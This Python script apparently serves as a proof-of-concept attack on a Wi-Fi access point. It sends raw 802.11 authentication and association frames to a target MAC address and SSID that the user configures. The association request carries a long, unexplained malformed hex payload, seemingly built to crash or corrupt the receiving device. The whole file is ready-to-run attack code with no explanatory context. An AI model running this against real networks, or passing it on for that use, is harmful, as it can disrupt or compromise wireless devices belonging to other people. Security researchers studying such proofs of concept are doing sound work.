#coding:UTF-8
import socket
import struct
import binascii
import time

############################### setting by yourself #################################
# netcard
IFACE = "wlp3s0"
# mac address
SOURCE_MAC = "e8b1fced860e"
#DESTINATION_MAC
DESTINATION_MAC = "fa633f0c5256"
# wifi name
SSID = "xxxy"
############################### end #################################################


ssid = "\x00" + chr(len(SSID)) + SSID
ETH_P_ALL = 3
s = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(ETH_P_ALL))
s.settimeout(5)
s.bind((IFACE, ETH_P_ALL))

Authentication_request = binascii.a2b_hex("00000d00048002000200000000b0003a01") + binascii.a2b_hex(DESTINATION_MAC) + binascii.a2b_hex(SOURCE_MAC) + binascii.a2b_hex(DESTINATION_MAC) + binascii.a2b_hex("60e5000001000000b41059cafa633f0c5256e8b1fced860e074e5d28c4106a00fa633f0c525612d604b3d400bff2fa633f0c5256b4045e3ea41011fa633f0c5256e8b1fced860e9e29ce91")
s.send(Authentication_request)
Association_request    = binascii.a2b_hex("00000d0004800200020000000000003a01") + binascii.a2b_hex(DESTINATION_MAC) + binascii.a2b_hex(SOURCE_MAC) + binascii.a2b_hex(DESTINATION_MAC) + binascii.a2b_hex("70e531040a00") + ssid + binascii.a2b_hex("01031107e532c06dab5bce00e8ffdb22436740da89b04fe111b4e7de6d80737346c19964563c392ebe896d933f7008fc363f7fff300bc1de3eb8da6433ff3a11e5287ab670ba59622f49ebe4895322de0c3a4edb913360a60fd3f300ca00061131ff1eba6f4f924eb3fd753d972bb9343198b503e19e8e42ff00f3efd3216ae7dfa345c37cd5b1c9dea602b6aeb259e0f0d85b66c7dae681ad477a8ae35ffac5d8093b92005063543b42b89fd049f4dcf21ad20290d72996a6dea98d0bcf2144e54fc70f54679621a4807f33c831bcbc5349a4241a1a415995b37385533ee22eb5d97aab8dd777a438d56673e0a7f23e47058ff2afff094b90cb61371bdddb806f95a7ff1de10bd4113499780f91ce7c8db2a7749a2697f9b951cc53ca05911ef1b0f0bc5f0f73173ddc79c28b0d0c727c0cad2b021b5577c41eff9839ff15c15eb1ec0ba68072acff2a3ddd3ffd99ce307050db1e5f42ed9b3f361e4dd43a677f64c689c196b2cce731ff4d2f2402017b30f60100000fac040000000fac040000000fac0100000e00ff5fbeafc2240b02ff232f3ab548a19199e535fbb4afa5b8ff69d6cc6b9bbe699c945d579faa9eaf7074a97d69cd62b77b42624a809f810410ff38b04cff570c93ffb67f7356a28a21003cff52fcaf90846bff76c007ff0b95d7c78e08e3fdc108aa4500b8a2d6cd005b4531f7b9ef0031f089c56d243c31df011b268144d4dff23381a051738699a612974857c9d77ad80064eac82eefe47af4c5c75ceb33abdf0373a6d877924f301137004dee5d478db290d74200ed11f2ffd79a90879c948246ff09abd8416eedf100ec0b61eaae38b177390aaac25ea1e5f3032a6947232e0130dd450040960064d4de000ff590dd1f791b6cff1fb6f1001889ff35000540181532a46b0009a55f5e917aa83b80bdfd00048c8bb89e3f000bbf2ea08a1d82ec2721808ab90001ff2d1aad4917ffffffffffffffffffffffffffffffff000000000000007f604a25f304deffcadadf9ca9b5f5aa3001e6aa504e29b019f2fd0c00ff038c3541c7eea100ae93fb09eca121048d60498ced8321c7396ba6a8545711f958ebddc9cc13d68eb356a4cf68abea491b2409f3887a868629b4978e6dafff4528828ed4b400cabcfa633f0c5256e8b1fced860ee30df521c40072bcfa633f0c52567588f193d410d7b8fa633f0c5256c854ed58a40011fa633f0c5256e8b1fced860e9308d2bfe4104044fa633f0c5256e8b1fced860e7556f791f4102797fa633f0c5256e8b1fced860eb1e9646e8400632ffa633f0c5256e8b1fced860e180bab5e4e63450f9400f51bfa633f0c5256e8b1fced860e006aa2e31b9b804cf7c532ab25fc67e05408b40074005915fa633f0c5256540013a0ba1c54005915ffffffffffffe8b1fced860eabad3dad5271a69396137e1bdb35457a57b646c333c7f724c9ec6c786165240238c6d564b8212aed81de23f536336910b72288e4916a758900b61658797cac95d3068660b8d37ede1c207f47e8c1a0820823a1870cc7e0fb3e91c61fcec8d4162d15a9984fad65a0a516834be8b1e21d8160cb74e1a348868163a9fa1cec448042960ba002f75825db9162c2ac4be38fa242ad8bb84ab216f397b46698a010634f1f619d7f659a144cf2b741d0f8db383f28ce3851f5b284be597d218371a8663ce58f4227f540bba84f77d46773f19e1e8c73fa03cec89a6e9eb4d405077ae42c4f8b65b0ec22c94c527e10b177dd2138b6859fdf5b175a21c9bb212310b59b4eb95473868b58425b4cafed3653bcb16e81b26c3117dcf51414478851d81218fa6c414feda0aa146437b909c03c9812e35184c42bbea11632d3b63b090b1553df3d5997217f3b253d2b394ff7cb9f573817d0feead609bfe375b99041737d9553786cb2a61ff36b6c5c28fe745d1ac6c4c854c6cd64348b2c2309ca5982d285b4366f9dae3d52c8e93d65be49f8e6b6e2312dfb853bce4fa1436c3143eaafc41a6983a1b529a92c8e41c77c6db548eea160d356f7")
s.send(Association_request)
